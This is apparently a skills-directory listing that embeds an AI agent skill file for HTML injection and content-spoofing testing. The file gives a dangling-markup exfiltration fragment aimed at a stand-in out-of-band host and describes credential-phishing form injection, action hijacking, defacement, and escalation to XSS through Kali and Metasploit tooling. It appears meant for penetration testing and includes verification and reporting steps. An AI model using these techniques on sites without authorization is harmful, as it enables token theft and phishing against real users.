HTML injection / content spoofing — unsanitized input rendered as markup without full script execution. Covers dangling-markup data exfiltration, form/link injection (credential theft, action hijack), content spoofing/defacement, and escalation toward XSS. Tier 1. Payloads: payloads/xss.md + client-side.md. Use when input is reflected/stored as HTML but script appears filtered.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Html Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-html-injection)
---
name: html-injection
description: "HTML injection / content spoofing — unsanitized input rendered as markup without full script execution. Covers dangling-markup data exfiltration, form/link injection (credential theft, action hijack), content spoofing/defacement, and escalation toward XSS. Tier 1. Payloads: payloads/xss.md + client-side.md. Use when input is reflected/stored as HTML but script appears filtered."
---
# HTML Injection / Content Spoofing
Markup injects even if `<script>` is blocked. Still exploitable — and often a step from XSS.
## Trigger phrases
`html injection, content spoofing, markup injection, dangling markup, form injection`
## Techniques
- **Dangling markup exfiltration:** inject unterminated markup (`<img src='//oob.example/?`) to capture page content (incl. CSRF tokens) up to the next quote — a CSP-safe data-exfil fallback.
- **Form/link injection:** inject a `<form>` posting to your server (credential phishing on the trusted origin), or a link/`<base>` to hijack actions (→ `form-action-hijack`).
- **Content spoofing/defacement:** inject misleading content/links (phishing, fake messages) — report as content spoofing.
- **Escalate to XSS:** retry with tags/handlers and sanitizer bypasses (→ `stored-xss`/`reflected-xss`, `${CLAUDE_PLUGIN_ROOT}/payloads/xss.md`); markup injection + a sanitizer gap = XSS.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The injected markup rendered in context, the impact (captured data / spoofed content / form), and whether it escalates to XSS.